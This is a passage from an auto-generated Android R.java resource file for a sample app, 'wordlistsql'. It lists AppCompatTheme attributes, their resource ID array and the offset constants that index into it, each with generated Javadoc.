<tr><td><code>{@link #AppCompatTheme_actionBarWidgetTheme com.android.example.wordlistsql:actionBarWidgetTheme}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionButtonStyle com.android.example.wordlistsql:actionButtonStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionDropDownStyle com.android.example.wordlistsql:actionDropDownStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionMenuTextAppearance com.android.example.wordlistsql:actionMenuTextAppearance}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionMenuTextColor com.android.example.wordlistsql:actionMenuTextColor}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionModeBackground com.android.example.wordlistsql:actionModeBackground}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionModeCloseButtonStyle com.android.example.wordlistsql:actionModeCloseButtonStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionModeCloseDrawable com.android.example.wordlistsql:actionModeCloseDrawable}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionModeCopyDrawable com.android.example.wordlistsql:actionModeCopyDrawable}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionModeCutDrawable com.android.example.wordlistsql:actionModeCutDrawable}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionModeFindDrawable com.android.example.wordlistsql:actionModeFindDrawable}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionModePasteDrawable com.android.example.wordlistsql:actionModePasteDrawable}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionModePopupWindowStyle com.android.example.wordlistsql:actionModePopupWindowStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionModeSelectAllDrawable com.android.example.wordlistsql:actionModeSelectAllDrawable}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionModeShareDrawable com.android.example.wordlistsql:actionModeShareDrawable}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionModeSplitBackground com.android.example.wordlistsql:actionModeSplitBackground}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionModeStyle com.android.example.wordlistsql:actionModeStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionModeWebSearchDrawable com.android.example.wordlistsql:actionModeWebSearchDrawable}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionOverflowButtonStyle com.android.example.wordlistsql:actionOverflowButtonStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionOverflowMenuStyle com.android.example.wordlistsql:actionOverflowMenuStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_activityChooserViewStyle com.android.example.wordlistsql:activityChooserViewStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_alertDialogButtonGroupStyle com.android.example.wordlistsql:alertDialogButtonGroupStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_alertDialogCenterButtons com.android.example.wordlistsql:alertDialogCenterButtons}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_alertDialogStyle com.android.example.wordlistsql:alertDialogStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_alertDialogTheme com.android.example.wordlistsql:alertDialogTheme}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_android_windowAnimationStyle android:windowAnimationStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_android_windowIsFloating android:windowIsFloating}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_autoCompleteTextViewStyle com.android.example.wordlistsql:autoCompleteTextViewStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_borderlessButtonStyle com.android.example.wordlistsql:borderlessButtonStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_buttonBarButtonStyle com.android.example.wordlistsql:buttonBarButtonStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_buttonBarNegativeButtonStyle com.android.example.wordlistsql:buttonBarNegativeButtonStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_buttonBarNeutralButtonStyle com.android.example.wordlistsql:buttonBarNeutralButtonStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_buttonBarPositiveButtonStyle com.android.example.wordlistsql:buttonBarPositiveButtonStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_buttonBarStyle com.android.example.wordlistsql:buttonBarStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_buttonStyle com.android.example.wordlistsql:buttonStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_buttonStyleSmall com.android.example.wordlistsql:buttonStyleSmall}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_checkboxStyle com.android.example.wordlistsql:checkboxStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_checkedTextViewStyle com.android.example.wordlistsql:checkedTextViewStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_colorAccent com.android.example.wordlistsql:colorAccent}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_colorBackgroundFloating com.android.example.wordlistsql:colorBackgroundFloating}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_colorButtonNormal com.android.example.wordlistsql:colorButtonNormal}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_colorControlActivated com.android.example.wordlistsql:colorControlActivated}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_colorControlHighlight com.android.example.wordlistsql:colorControlHighlight}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_colorControlNormal com.android.example.wordlistsql:colorControlNormal}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_colorPrimary com.android.example.wordlistsql:colorPrimary}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_colorPrimaryDark com.android.example.wordlistsql:colorPrimaryDark}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_colorSwitchThumbNormal com.android.example.wordlistsql:colorSwitchThumbNormal}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_controlBackground com.android.example.wordlistsql:controlBackground}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_dialogPreferredPadding com.android.example.wordlistsql:dialogPreferredPadding}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_dialogTheme com.android.example.wordlistsql:dialogTheme}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_dividerHorizontal com.android.example.wordlistsql:dividerHorizontal}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_dividerVertical com.android.example.wordlistsql:dividerVertical}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_dropDownListViewStyle com.android.example.wordlistsql:dropDownListViewStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_dropdownListPreferredItemHeight com.android.example.wordlistsql:dropdownListPreferredItemHeight}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_editTextBackground com.android.example.wordlistsql:editTextBackground}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_editTextColor com.android.example.wordlistsql:editTextColor}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_editTextStyle com.android.example.wordlistsql:editTextStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_homeAsUpIndicator com.android.example.wordlistsql:homeAsUpIndicator}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_imageButtonStyle com.android.example.wordlistsql:imageButtonStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_listChoiceBackgroundIndicator com.android.example.wordlistsql:listChoiceBackgroundIndicator}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_listDividerAlertDialog com.android.example.wordlistsql:listDividerAlertDialog}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_listMenuViewStyle com.android.example.wordlistsql:listMenuViewStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_listPopupWindowStyle com.android.example.wordlistsql:listPopupWindowStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_listPreferredItemHeight com.android.example.wordlistsql:listPreferredItemHeight}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_listPreferredItemHeightLarge com.android.example.wordlistsql:listPreferredItemHeightLarge}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_listPreferredItemHeightSmall com.android.example.wordlistsql:listPreferredItemHeightSmall}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_listPreferredItemPaddingLeft com.android.example.wordlistsql:listPreferredItemPaddingLeft}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_listPreferredItemPaddingRight com.android.example.wordlistsql:listPreferredItemPaddingRight}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_panelBackground com.android.example.wordlistsql:panelBackground}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_panelMenuListTheme com.android.example.wordlistsql:panelMenuListTheme}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_panelMenuListWidth com.android.example.wordlistsql:panelMenuListWidth}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_popupMenuStyle com.android.example.wordlistsql:popupMenuStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_popupWindowStyle com.android.example.wordlistsql:popupWindowStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_radioButtonStyle com.android.example.wordlistsql:radioButtonStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_ratingBarStyle com.android.example.wordlistsql:ratingBarStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_ratingBarStyleIndicator com.android.example.wordlistsql:ratingBarStyleIndicator}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_ratingBarStyleSmall com.android.example.wordlistsql:ratingBarStyleSmall}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_searchViewStyle com.android.example.wordlistsql:searchViewStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_seekBarStyle com.android.example.wordlistsql:seekBarStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_selectableItemBackground com.android.example.wordlistsql:selectableItemBackground}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_selectableItemBackgroundBorderless com.android.example.wordlistsql:selectableItemBackgroundBorderless}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_spinnerDropDownItemStyle com.android.example.wordlistsql:spinnerDropDownItemStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_spinnerStyle com.android.example.wordlistsql:spinnerStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_switchStyle com.android.example.wordlistsql:switchStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_textAppearanceLargePopupMenu com.android.example.wordlistsql:textAppearanceLargePopupMenu}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_textAppearanceListItem com.android.example.wordlistsql:textAppearanceListItem}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_textAppearanceListItemSmall com.android.example.wordlistsql:textAppearanceListItemSmall}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_textAppearancePopupMenuHeader com.android.example.wordlistsql:textAppearancePopupMenuHeader}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_textAppearanceSearchResultSubtitle com.android.example.wordlistsql:textAppearanceSearchResultSubtitle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_textAppearanceSearchResultTitle com.android.example.wordlistsql:textAppearanceSearchResultTitle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_textAppearanceSmallPopupMenu com.android.example.wordlistsql:textAppearanceSmallPopupMenu}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_textColorAlertDialogListItem com.android.example.wordlistsql:textColorAlertDialogListItem}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_textColorSearchUrl com.android.example.wordlistsql:textColorSearchUrl}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_toolbarNavigationButtonStyle com.android.example.wordlistsql:toolbarNavigationButtonStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_toolbarStyle com.android.example.wordlistsql:toolbarStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_windowActionBar com.android.example.wordlistsql:windowActionBar}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_windowActionBarOverlay com.android.example.wordlistsql:windowActionBarOverlay}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_windowActionModeOverlay com.android.example.wordlistsql:windowActionModeOverlay}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_windowFixedHeightMajor com.android.example.wordlistsql:windowFixedHeightMajor}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_windowFixedHeightMinor com.android.example.wordlistsql:windowFixedHeightMinor}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_windowFixedWidthMajor com.android.example.wordlistsql:windowFixedWidthMajor}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_windowFixedWidthMinor com.android.example.wordlistsql:windowFixedWidthMinor}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_windowMinWidthMajor com.android.example.wordlistsql:windowMinWidthMajor}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_windowMinWidthMinor com.android.example.wordlistsql:windowMinWidthMinor}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_windowNoTitle com.android.example.wordlistsql:windowNoTitle}</code></td><td></td></tr>
</table>
@see #AppCompatTheme_actionBarDivider
@see #AppCompatTheme_actionBarItemBackground
@see #AppCompatTheme_actionBarPopupTheme
@see #AppCompatTheme_actionBarSize
@see #AppCompatTheme_actionBarSplitStyle
@see #AppCompatTheme_actionBarStyle
@see #AppCompatTheme_actionBarTabBarStyle
@see #AppCompatTheme_actionBarTabStyle
@see #AppCompatTheme_actionBarTabTextStyle
@see #AppCompatTheme_actionBarTheme
@see #AppCompatTheme_actionBarWidgetTheme
@see #AppCompatTheme_actionButtonStyle
@see #AppCompatTheme_actionDropDownStyle
@see #AppCompatTheme_actionMenuTextAppearance
@see #AppCompatTheme_actionMenuTextColor
@see #AppCompatTheme_actionModeBackground
@see #AppCompatTheme_actionModeCloseButtonStyle
@see #AppCompatTheme_actionModeCloseDrawable
@see #AppCompatTheme_actionModeCopyDrawable
@see #AppCompatTheme_actionModeCutDrawable
@see #AppCompatTheme_actionModeFindDrawable
@see #AppCompatTheme_actionModePasteDrawable
@see #AppCompatTheme_actionModePopupWindowStyle
@see #AppCompatTheme_actionModeSelectAllDrawable
@see #AppCompatTheme_actionModeShareDrawable
@see #AppCompatTheme_actionModeSplitBackground
@see #AppCompatTheme_actionModeStyle
@see #AppCompatTheme_actionModeWebSearchDrawable
@see #AppCompatTheme_actionOverflowButtonStyle
@see #AppCompatTheme_actionOverflowMenuStyle
@see #AppCompatTheme_activityChooserViewStyle
@see #AppCompatTheme_alertDialogButtonGroupStyle
@see #AppCompatTheme_alertDialogCenterButtons
@see #AppCompatTheme_alertDialogStyle
@see #AppCompatTheme_alertDialogTheme
@see #AppCompatTheme_android_windowAnimationStyle
@see #AppCompatTheme_android_windowIsFloating
@see #AppCompatTheme_autoCompleteTextViewStyle
@see #AppCompatTheme_borderlessButtonStyle
@see #AppCompatTheme_buttonBarButtonStyle
@see #AppCompatTheme_buttonBarNegativeButtonStyle
@see #AppCompatTheme_buttonBarNeutralButtonStyle
@see #AppCompatTheme_buttonBarPositiveButtonStyle
@see #AppCompatTheme_buttonBarStyle
@see #AppCompatTheme_buttonStyle
@see #AppCompatTheme_buttonStyleSmall
@see #AppCompatTheme_checkboxStyle
@see #AppCompatTheme_checkedTextViewStyle
@see #AppCompatTheme_colorAccent
@see #AppCompatTheme_colorBackgroundFloating
@see #AppCompatTheme_colorButtonNormal
@see #AppCompatTheme_colorControlActivated
@see #AppCompatTheme_colorControlHighlight
@see #AppCompatTheme_colorControlNormal
@see #AppCompatTheme_colorPrimary
@see #AppCompatTheme_colorPrimaryDark
@see #AppCompatTheme_colorSwitchThumbNormal
@see #AppCompatTheme_controlBackground
@see #AppCompatTheme_dialogPreferredPadding
@see #AppCompatTheme_dialogTheme
@see #AppCompatTheme_dividerHorizontal
@see #AppCompatTheme_dividerVertical
@see #AppCompatTheme_dropDownListViewStyle
@see #AppCompatTheme_dropdownListPreferredItemHeight
@see #AppCompatTheme_editTextBackground
@see #AppCompatTheme_editTextColor
@see #AppCompatTheme_editTextStyle
@see #AppCompatTheme_homeAsUpIndicator
@see #AppCompatTheme_imageButtonStyle
@see #AppCompatTheme_listChoiceBackgroundIndicator
@see #AppCompatTheme_listDividerAlertDialog
@see #AppCompatTheme_listMenuViewStyle
@see #AppCompatTheme_listPopupWindowStyle
@see #AppCompatTheme_listPreferredItemHeight
@see #AppCompatTheme_listPreferredItemHeightLarge
@see #AppCompatTheme_listPreferredItemHeightSmall
@see #AppCompatTheme_listPreferredItemPaddingLeft
@see #AppCompatTheme_listPreferredItemPaddingRight
@see #AppCompatTheme_panelBackground
@see #AppCompatTheme_panelMenuListTheme
@see #AppCompatTheme_panelMenuListWidth
@see #AppCompatTheme_popupMenuStyle
@see #AppCompatTheme_popupWindowStyle
@see #AppCompatTheme_radioButtonStyle
@see #AppCompatTheme_ratingBarStyle
@see #AppCompatTheme_ratingBarStyleIndicator
@see #AppCompatTheme_ratingBarStyleSmall
@see #AppCompatTheme_searchViewStyle
@see #AppCompatTheme_seekBarStyle
@see #AppCompatTheme_selectableItemBackground
@see #AppCompatTheme_selectableItemBackgroundBorderless
@see #AppCompatTheme_spinnerDropDownItemStyle
@see #AppCompatTheme_spinnerStyle
@see #AppCompatTheme_switchStyle
@see #AppCompatTheme_textAppearanceLargePopupMenu
@see #AppCompatTheme_textAppearanceListItem
@see #AppCompatTheme_textAppearanceListItemSmall
@see #AppCompatTheme_textAppearancePopupMenuHeader
@see #AppCompatTheme_textAppearanceSearchResultSubtitle
@see #AppCompatTheme_textAppearanceSearchResultTitle
@see #AppCompatTheme_textAppearanceSmallPopupMenu
@see #AppCompatTheme_textColorAlertDialogListItem
@see #AppCompatTheme_textColorSearchUrl
@see #AppCompatTheme_toolbarNavigationButtonStyle
@see #AppCompatTheme_toolbarStyle
@see #AppCompatTheme_windowActionBar
@see #AppCompatTheme_windowActionBarOverlay
@see #AppCompatTheme_windowActionModeOverlay
@see #AppCompatTheme_windowFixedHeightMajor
@see #AppCompatTheme_windowFixedHeightMinor
@see #AppCompatTheme_windowFixedWidthMajor
@see #AppCompatTheme_windowFixedWidthMinor
@see #AppCompatTheme_windowMinWidthMajor
@see #AppCompatTheme_windowMinWidthMinor
@see #AppCompatTheme_windowNoTitle
*/
public static final int[] AppCompatTheme = {
0x01010057, 0x010100ae, 0x7f010030, 0x7f010031,
0x7f010032, 0x7f010033, 0x7f010034, 0x7f010035,
0x7f010036, 0x7f010037, 0x7f010038, 0x7f010039,
0x7f01003a, 0x7f01003b, 0x7f01003c, 0x7f01003d,
0x7f01003e, 0x7f01003f, 0x7f010040, 0x7f010041,
0x7f010042, 0x7f010043, 0x7f010044, 0x7f010045,
0x7f010046, 0x7f010047, 0x7f010048, 0x7f010049,
0x7f01004a, 0x7f01004b, 0x7f01004c, 0x7f01004d,
0x7f01004e, 0x7f01004f, 0x7f010050, 0x7f010051,
0x7f010052, 0x7f010053, 0x7f010054, 0x7f010055,
0x7f010056, 0x7f010057, 0x7f010058, 0x7f010059,
0x7f01005a, 0x7f01005b, 0x7f01005c, 0x7f01005d,
0x7f01005e, 0x7f01005f, 0x7f010060, 0x7f010061,
0x7f010062, 0x7f010063, 0x7f010064, 0x7f010065,
0x7f010066, 0x7f010067, 0x7f010068, 0x7f010069,
0x7f01006a, 0x7f01006b, 0x7f01006c, 0x7f01006d,
0x7f01006e, 0x7f01006f, 0x7f010070, 0x7f010071,
0x7f010072, 0x7f010073, 0x7f010074, 0x7f010075,
0x7f010076, 0x7f010077, 0x7f010078, 0x7f010079,
0x7f01007a, 0x7f01007b, 0x7f01007c, 0x7f01007d,
0x7f01007e, 0x7f01007f, 0x7f010080, 0x7f010081,
0x7f010082, 0x7f010083, 0x7f010084, 0x7f010085,
0x7f010086, 0x7f010087, 0x7f010088, 0x7f010089,
0x7f01008a, 0x7f01008b, 0x7f01008c, 0x7f01008d,
0x7f01008e, 0x7f01008f, 0x7f010090, 0x7f010091,
0x7f010092, 0x7f010093, 0x7f010094, 0x7f010095,
0x7f010096, 0x7f010097, 0x7f010098, 0x7f010099,
0x7f01009a, 0x7f01009b, 0x7f01009c, 0x7f01009d,
0x7f01009e, 0x7f01009f, 0x7f0100a0
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionBarDivider}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionBarDivider
*/
public static final int AppCompatTheme_actionBarDivider = 23;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionBarItemBackground}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionBarItemBackground
*/
public static final int AppCompatTheme_actionBarItemBackground = 24;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionBarPopupTheme}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionBarPopupTheme
*/
public static final int AppCompatTheme_actionBarPopupTheme = 17;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionBarSize}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>May be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
<p>May be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>wrap_content</code></td><td>0</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:actionBarSize
*/
public static final int AppCompatTheme_actionBarSize = 22;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionBarSplitStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionBarSplitStyle
*/
public static final int AppCompatTheme_actionBarSplitStyle = 19;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionBarStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionBarStyle
*/
public static final int AppCompatTheme_actionBarStyle = 18;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionBarTabBarStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionBarTabBarStyle
*/
public static final int AppCompatTheme_actionBarTabBarStyle = 13;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionBarTabStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionBarTabStyle
*/
public static final int AppCompatTheme_actionBarTabStyle = 12;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionBarTabTextStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionBarTabTextStyle
*/
public static final int AppCompatTheme_actionBarTabTextStyle = 14;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionBarTheme}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionBarTheme
*/
public static final int AppCompatTheme_actionBarTheme = 20;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionBarWidgetTheme}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionBarWidgetTheme
*/
public static final int AppCompatTheme_actionBarWidgetTheme = 21;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionButtonStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionButtonStyle
*/
public static final int AppCompatTheme_actionButtonStyle = 50;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionDropDownStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionDropDownStyle
*/
public static final int AppCompatTheme_actionDropDownStyle = 46;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionMenuTextAppearance}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionMenuTextAppearance
*/
public static final int AppCompatTheme_actionMenuTextAppearance = 25;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionMenuTextColor}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
@attr name com.android.example.wordlistsql:actionMenuTextColor
*/
public static final int AppCompatTheme_actionMenuTextColor = 26;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionModeBackground}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionModeBackground
*/
public static final int AppCompatTheme_actionModeBackground = 29;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionModeCloseButtonStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionModeCloseButtonStyle
*/
public static final int AppCompatTheme_actionModeCloseButtonStyle = 28;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionModeCloseDrawable}
